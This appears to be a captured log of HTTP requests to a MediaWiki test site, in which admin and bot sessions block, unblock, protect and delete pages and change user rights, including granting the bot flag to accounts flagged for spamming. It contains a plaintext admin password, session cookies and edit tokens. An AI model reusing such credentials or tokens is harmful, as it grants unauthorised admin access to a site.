"title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+ls+-la+guides&wpEditToken=8e14ef32ae3356daf996af8d9a62cadf6af23fd9%2B%5C&user=Ls+-la&wpEditToken=f252b980c3a50ae3c7d7bc282616ddaf6af23fd9%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Ls_-la", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 352", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Ls+-la+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+ls+-la+guides&mwProtectWatch=1&wpEditToken=5df1e8ea7b750fa5c009e1bece0a87876af23fda%2B%5C"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 188", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Ls+-la+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+ls+-la+guides&wpWatch=1&wpConfirmB=&wpEditToken=f42b222ab6666c65ec421df94c07919b6af23fdb%2B%5C&wpConfirmationRevId=15"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=.htaccess&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=20%401794260956%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 353", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=20%401794260956%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=.htaccess&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+.htaccess+guides&wpAutoBlock=1&wpEditToken=2e833a727b3772a4ce387c46ded9ee8e6af23fdd%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=.htaccess&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=21%401794260957%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 145", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=21%401794260957%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=.htaccess&wpReason=Spamming+links+to+.htaccess+guides&wpEditToken=dec595333bbf3e8ddcdfef8055d2406f6af23fdf%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=.htaccess&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 304", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+.htaccess+guides&wpEditToken=afb049b409958f639472fc42566429756af23fe1%2B%5C&user=.htaccess&wpEditToken=18bd2feffb19ff0865f684c5d9f46c836af23fe1%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/.htaccess", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 358", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=.htaccess+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+.htaccess+guides&mwProtectWatch=1&wpEditToken=11734c231997c060e2bf43081922d45b6af23fe3%2B%5C"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 194", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=24%401794260963%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=.htaccess+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+.htaccess+guides&wpWatch=1&wpConfirmB=&wpEditToken=caf53f975b381767d24c26081b2ab3f36af23fe4%2B%5C&wpConfirmationRevId=16"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=savug0rd3s67h42asltdjo4efv05i7nt", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=3cb681d76d891f525ae693f8cdd16cc06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 145", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Lighthouse&expiry=1+week&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=2%401794260965%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 133", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=2%401794260965%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Lighthouse&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 211", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=4%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Lighthouse+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 143", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=6%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Lighthouse+API+notes&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=8%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Python3&expiry=1+week&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=10%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 148", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=10%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Python3&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 226", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=12%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Python3+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=14%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Python3+API+notes&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=16%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Powershell&expiry=1+week&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=18%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 154", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=18%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Powershell&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 232", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=20%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Powershell+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=22%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Powershell+API+notes&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=24%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Ls+-la&expiry=1+week&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
